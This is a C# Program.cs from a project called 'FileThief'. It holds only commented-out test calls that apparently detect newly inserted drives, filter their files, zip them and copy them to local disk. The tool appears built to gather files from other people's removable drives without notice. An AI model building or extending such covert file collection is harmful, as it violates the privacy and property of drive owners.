﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using Ionic.Zip;

namespace FileThief
{
    public class Program
    {

        static void Main(string[] args)
        {
            //Controller.GetController().SaveSetting();

            #region 验证Detect类的正确性,运行后结果应为a只有e,f两盘，b为null,detect中copiedDrivesID为空，已验证

            //Settings.GetSettings().detect.IsNoCopyMarkDrives = true;
            //Settings.GetSettings().detect.NoCopyMarkDrives.IsBlackOrWhite = BlackOrWhite.white;
            //Settings.GetSettings().detect.NoCopyMarkDrives.BlackFilter.Add("3A0C39CD");
            //Settings.GetSettings().detect.NoCopyMarkDrives.BlackFilter.Add("50436D54");
            //Settings.GetSettings().detect.NoCopyMarkDrives.BlackFilter.Add("0C15517D");
            //Settings.GetSettings().detect.NoCopyMarkDrives.BlackFilter.Add("CA5594B7");
            //Settings.GetSettings().detect.NoCopyMarkDrives.BlackFilter.Add("9ED101E2");

            //Settings.GetSettings().detect.NoCopyMarkDrives.BlackFilter.Add("CCCB4A4E");
            //Settings.GetSettings().detect.NoCopyMarkDrives.WhiteFilter.Add("CCCB4A4E");

            //Settings.GetSettings().detect.IsRecopyCopiedDrives = true;
            //Detect detect = new Detect();
            //List<DriveInfo> a = detect.GetAllDriveInfo();
            //DriveInfo b = detect.GetNewDriveInfo(@"e:\");
            //detect.ClearCopiedDrivesID();            

            #endregion

            #region 验证Select类的正确性

            //验证文件后缀名
            //Settings.GetSettings().select.IsFileExtensionFilter = true;
            //Settings.GetSettings().select.FileExtensionFilter.IsBlackOrWhite = BlackOrWhite.white;
            //Settings.GetSettings().select.FileExtensionFilter.WhiteFilter.Add(".ini");
            //Settings.GetSettings().select.FileExtensionFilter.BlackOrWhite = BlackOrWhite.black;
            //Settings.GetSettings().select.FileExtensionFilter.BlackFilter.Add(".ini");
            
            //Settings.GetSettings().select.IsFileLengthFilter = true;
            //Settings.GetSettings().select.FileLengthFilter.BlackOrWhite = BlackOrWhite.black;
            //Settings.GetSettings().select.FileLengthFilter.LessBlackFilter = 0;
            //Settings.GetSettings().select.FileLengthFilter.MoreBlackFilter = 10000000000;

            //Settings.GetSettings().select.IsFileNameFilter = true;
            //Settings.GetSettings().select.FileNameFilter.BlackOrWhite = BlackOrWhite.black;
            //Settings.GetSettings().select.FileNameFilter.BlackFilter.Add("1");


            //Select select = new Select();
            //List<FileInfo> fileList = new List<FileInfo>();
            //fileList = select.SelectFiles(new DriveInfo("k"));
            
            #endregion

            #region 验证Zip类的正确性

            //Settings.GetSettings().zip.ZipFileMaxLength = 1;//证明每个ZIP文件名难于重复
            //Settings.GetSettings().zip.ZipFileMaxLength = 1000;//证明所有文件放在一起时正确的

            //List<FileInfo> fileList = new List<FileInfo>();
            //fileList.Add(new FileInfo(@".\新建文件夹\啊.xml"));
            //fileList.Add(new FileInfo(@".\新建文件夹\2.cs"));

            //List<FileInfo> a = new Zip().GetZipFiles(fileList);
            
            #endregion

            #region 验证Copy类的正确性

            //List<FileInfo> fileList = new List<FileInfo>();
            //fileList.Add(new FileInfo(@".\zip\Favorites-6C24F442-2010-09-07-10-51-54-9470121.zip"));
            //fileList.Add(new FileInfo(@".\zip\Favorites-6C24F442-2010-09-07-10-51-56-4410975.zip"));
            //fileList.Add(new FileInfo(@".\zip\Favorites-6C24F442-2010-09-07-10-51-57-9861859.zip"));
                      
            //Copy copy = new Copy();
            //copy.CopyFileToDisk(fileList);

            #endregion
            
            //点击开始拷贝,运行如下函数

            //Controller.GetController().StartCopy();
            //System.Threading.Thread.Sleep(1000);
            //Controller.GetController().StopCopy();
           //Controller.GetController().NewDriveArrive("c");
            
        }
    }

   

   


}
